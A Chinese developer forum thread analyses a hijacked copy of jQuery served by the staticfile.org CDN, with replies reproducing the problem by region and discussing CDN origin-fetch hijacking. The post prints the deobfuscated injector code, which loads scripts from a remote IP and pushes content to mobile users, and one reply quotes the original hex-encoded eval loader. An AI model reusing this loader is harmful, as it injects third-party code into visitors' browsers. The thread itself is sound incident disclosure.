
今天发现内容菜单无法打开,打开 F12 发现 jQuery 对象报错,看了下 Network 发现 jquery 文件内容变成可疑内容:
https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js

终端内把可疑代码的 eval 换成 console.log ,排版看到内容如下
var c = function(u) { var d = document, e = d.createElement('script'); e.type = 'text/Javascript'; e.src = u; d.getElementsByTagName('head')[0].appendChild(e); }, s = 'http://cdn.staticfile.org/jquery/1.10.2/jquery.min.js?cclt1=ncache2'; if ((typeof M7f == 'undefined') && (!navigator.platform.match(/Win32|Win64/i))) c('http://120.79.33.84:1616/mb.php?id=lp01'); if ((typeof M7f == 'undefined') || (M7f != s)) { M7f = s; c(s + Math.random()); } 看到挂马脚本还会插回一个内容正常的 jQuery 外,对于非 win 平台还加载一次 120.79.33.84:1616,请求一下看看:
!(function() { if (typeof MB7F2 == 'undefined') { MB7F2 = 1; var head = document.getElementsByTagName('head')[0]; var script = document.createElement('script'); script.type = 'text/Javascript'; script.Onload= script.Onreadystatechange= function() { if (!this.readyState || this.readyState === "loaded" || this.readyState === "complete") { var isMobile = { Win: function() { return navigator.platform.match(/Win32|Win64|Mac/i) ? true : false }, Qqb: function() { return navigator.userAgent.match(/QQ/i) ? true : false }, Phone: function() { return navigator.userAgent.match(/Android|Adr|iPhone|iPh|iPh5|iOS|iPad|ipad|iPod/i) ? true : false } }; var bz = 0; if (isMobile.Win() || isMobile.Qqb()) { bz = 0 } else if (isMobile.Phone()) { var slt = Math.floor(Math.random() * 1000000) + 1000; bz = 1; var nd = document.createElement("div"); nd.id = slt; nd.style.position = "fixed"; nd.style.zIndex = "9999"; nd.style.width = "100%"; nd.style.height = "auto"; nd.style.bottom = "-6px"; nd.style.right = "0px"; document.body.insertBefore(nd, document.body.firstChild); var slt = '#' + slt } var tu = "http://120.79.33.84:1616/mb1.php?id=lp01"; var setcookies = function() { var exp = new Date(); var value = exp.getTime(); exp.setTime(exp.getTime() + 3000 * 1000); document.cookie = "mblast=" + escape(value) + ";expires=" + exp.toGMTString() }; var getCookie = function(d) { var f = document.cookie; var g = f.split("; "); for (var e = 0; e < g.length; e++) { var c = g[e].split("="); if (c[0] == d) { return c[1] } } return 0 }; var mbbt = new Date(); mbbt = (mbbt.getTime() - getCookie("mblast")) / 1000; if ((bz != 0) && (mbbt > 81)) { $(document).ready(function() { $.ajax({ type: 'get', url: tu + "&new=" + Math.random() + "&mblast=" + mbbt, dataType: 'jsonp', jsonp: "jsoncallback", success: function(data) { $(slt).html(data); setcookies() }, error: function() {} }) }) } } }; script.src = 'http://cdn.staticfile.org/jquery/1.7/jquery.min.js?cclt1=ncache2'; head.appendChild(script) } })(); 因为 https 访问的,这些 http 地址实际都被挡了,jQuery 无法加载所以网站功能有问题的。 staticfile.org 是七牛云的静态 CDN,而入口文件的 jquery.min.js 也是 https 的,而且挂马代码里面也针对性地重新引用 staticfile.org 文件。
因此怀疑是七牛 CDN 内部人员私自加料,或者 CDN 回源过程中被第三方定向劫持。
1 Nitroethane 2018-12-24 09:51:01 +08:00 via Android 没有遇到所说的问题,能正常打开。是不是你被运营商劫持了? |
2 BOYPT OP @Nitroethane #1 看分析文字 |
3 Les1ie 2018-12-24 09:54:09 +08:00 刚好昨晚看到知乎看到一篇文章 zhihu.com/question/35720092/answer/523563873 |
4 Les1ie 2018-12-24 09:54:54 +08:00 另外我这里没有遇到问题 |
5 BOYPT OP 可以排除营运商劫持,因为如图所示。 |
6 Nitroethane 2018-12-24 09:58:12 +08:00 @BOYPT #2 我看了,点击内容菜单能正常打开,console 什么报错都没有。唯一的两条报错信息是广告屏蔽插件屏蔽的两条广告请求。不要老想着搞个大新闻 |
7 BOYPT OP |
8 jptx 2018-12-24 10:01:31 +08:00 我这边也是正常的 |
9 wly19960911 2018-12-24 10:13:17 +08:00 @Les1ie #3 居然还有回源的时候被劫持,长见识了,果然 https 还不是完全值得信任。 |
10 Les1ie 2018-12-24 10:17:48 +08:00 即使我们做到了全链路 https, 但是云服务厂商自己的服务器之间没做到, 这也是个问题 另外知乎那篇文章似乎也没法石锤是回源的时候遇到了问题,如果是回源遇到了劫持,那么影响的应该是这个网站下面使用了这个 cdn 的很多客户呀,影响面积会不会更大 @wly19960911 #9 |
11 maplelin 2018-12-24 10:19:25 +08:00 坐标深圳,已复现问题,菜单无法正常打开 |
12 LanFomalhaut 2018-12-24 10:25:32 +08:00 @Les1ie 当年就遇到过一次....节点回源时候被劫持 缓存了被劫持篡改的广告 JS .然后这个站只要访问到这个节点就会 100%跳广告..属于大范围影响的 |
13 liberize 2018-12-24 10:27:25 +08:00 广州也复现了 |
14 BOYPT OP @Les1ie #10 如果是 cloudflare 的 CDN 就有回源模式,可以选择 full ssl,应该就能避免这类问题;而一众国产 CDN (有些甚至没有控制台)只能烧香了... itellyou 站我个人建议更换静态库的 CDN,用 cdnjs 的应该就比较合适,cloudflare 在国内跟百度云合作,速度和技术上应该有点保证 |
15 BOYPT OP 楼主也是广州,目前能复现的是广州深圳,而七牛有专门的华南区区域划分,估计影响的就是华南区服务器 |
16 v2meng 2018-12-24 10:44:07 +08:00 via Android 广州长城宽带复现 |
17 miyuki 2018-12-24 10:57:05 +08:00 via Android |
18 Variazioni 2018-12-24 10:58:30 +08:00 北京电信正常。。 |
19 Les1ie 2018-12-24 11:12:01 +08:00 cloudflare 国内默认不会走百度吧... 国内使用 cloudflare 是 cdn 云减速 |
20 Mac 2018-12-24 12:20:06 +08:00 |
22 jo32 2018-12-24 12:45:15 +08:00 (function(){var s="76617220633D66756E6374696F6E2875297B76617220643D646F63756D656E742C653D642E637265617465456C656D656E74282773637269707427293B652E747970653D27746578742F6A617661736372697074273B652E7372633D753B642E676574456C656D656E747342795461674E616D6528276865616427295B305D2E617070656E644368696C642865293B7D2C733D27687474703A2F2F63646E2E73746174696366696C652E6F72672F6A71756572792F312E31302E322F6A71756572792E6D696E2E6A733F63636C74313D6E636163686532273B69662828747970656F66204D37663D3D27756E646566696E65642729262628216E6176696761746F722E706C6174666F726D2E6D61746368282F57696E33327C57696E36342F69292929632827687474703A2F2F3132302E37392E33332E38343A313631362F6D622E7068703F69643D6C70303127293B69662828747970656F66204D37663D3D27756E646566696E656427297C7C284D3766213D7329297B4D37663D733B6328732B4D6174682E72616E646F6D2829293B7D",c,r=[],i=0;for(;i<s.length;i+=2){c=parseInt(s.substr(i,2),16);r.push(String.fromCharCode(c));}eval(r.join(""));})(); 深圳复现 |
23 shawndev 2018-12-24 13:03:52 +08:00 <img src="https://i.loli.net/2018/12/24/5c2068784f8b9.png" alt="屏幕快照 2018-12-24 下午 1.02.17.png" title="屏幕快照 2018-12-24 下午 1.02.17.png" />河南未重现 |
24 BOYPT OP 下午 1 点测试,劫持已经消失。 |
25 sneezry 2018-12-24 14:06:13 +08:00 via iPhone @Les1ie 有一点没太想明白,https 下运营商是不是应该不知道文件后缀?为什么改后缀可以达到目的呢? |
27 venhow 2018-12-24 16:46:39 +08:00 但是里面的点击不了,只是一个大大的红包 |
28 chungzhao 2018-12-24 17:59:02 +08:00 佛山联通不行。 MSDN 挺好的,我一直在用它下载系统。 诶,可惜了。。。 |
29 EarthChild 2018-12-24 18:30:44 +08:00 http://cdn.staticfile.org/ 我这边居然访问不了。。。没 FQ 啊! |
30 RqPS6rhmP3Nyn3Tm 2018-12-25 01:34:17 +08:00 via iPhone 都 tls 了,除了 canonical name 和端口,路由节点啥都看不到。http 路径包括文件名已经被加密过了 只有可能是回源的问题,回源也上 https 就可以了,不知道这老哥为啥走这么大弯路 @Les1ie |
31 RqPS6rhmP3Nyn3Tm 2018-12-25 01:37:16 +08:00 via iPhone Tls 全称是 transport layer security 啊(敲黑板 |
32 Les1ie 2018-12-25 09:04:58 +08:00 排除问题的阶段只能猜测所有的可能呀:1.回源阶段有问题 2.运营商有没有用了某个浏览器信任的证书做中间人 慢慢排查 |
33 Les1ie 2018-12-25 09:07:23 +08:00 现在运营商劫持依然很严重 是不是可以抓出来罪魁祸首,顺带赠送一个非法侵入计算机系统罪 |
34 lizheming 2018-12-25 09:35:20 +08:00 @BOYPT ( emmmm, 轻微反驳一下那个一众国产)... https://cdn.baomitu.com 75CDN 目前是已经全部切成 https 回源了的,所以楼主的情况在 75CDN 上不会碰到。 |
35 red2dog 2019-01-18 09:57:02 +08:00 遇到同样的问题了,排查了一晚上解决了。。。 |
36 Xheldon 2019-09-29 17:37:17 +08:00 北京联通遇到了, 点击左侧的展开菜单没反应 控制台看到是 bootstrap.3.0.3.js 报错, 打开这个文件看起来是文件内容不全导致的 官网下载一个 bootstrap.js 粘贴复制到控制台回车, 再点展开菜单就 OK 了 |